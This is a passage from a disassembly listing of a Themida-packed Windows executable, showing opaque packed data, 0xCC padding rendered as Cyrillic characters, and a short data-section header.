		dd 8BB39CF3h, 0AEC082F0h, 8166341Fh, 5EB6D8F2h,	830Fh
		dd 0B70F0000h, 11E8FEh,	0FFF60000h, 0C7D8D066h,	0AF150F5Fh
		dd 382C5ACh, 60043D6Dh,	8A0Fh, 0EE80000h, 7C000000h, 0EF44E1EDh
		dd 0D5D6B7FAh, 454264AAh, 5F615E16h, 0FE9h, 82AD5700h
		dd 0B37F40DBh, 48BAEEFCh, 0AEB3D138h, 6840F57h,	0F000000h
		dd 87h,	8B0F5F00h, 0
		dd 8166D08Bh, 813EEEE2h, 3141B5E7h, 28B0F0Ch, 0B2000000h
		dd 4DCE8062h, 0CF63BA66h, 1EE163BAh, 57F38A0Ah,	58A0Fh
		dd 77BE0000h, 597A0856h, 0DE9h,	0C8AE7300h, 65B218FFh
		dd 49155953h, 479A5969h, 130h dup(479AD736h)
dword_5B8A68	dd 1E6h	dup(479AD736h),	0CB9AD736h, 0A3h dup(0CB5A194Eh)
					; DATA XREF: Themida_:0055598Bo
		dd 0C95A194Eh, 41h dup(0C99A1FFEh), 172h dup(0E44F71D4h)
		dd 0D60DA9D4h, 9Dh dup(0D60DA982h)
		db 82h
byte_5B9DD9	db 0A9h, 0Dh, 0D6h	; DATA XREF: Themida_:0053D798o
		dd 0C250282h, 432h dup(0C250229h), 0CCCCCC29h, 5AFh dup(0CCCCCCCCh)
asc_5BC568	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:00562C60o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001BE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BE000h
		dd 80h dup(0)
		dd 113h	dup(?)
dword_5BE64C	dd 26Dh	dup(?)		; DATA XREF: Themida_:0053DAF4o
_idata2		ends


		end start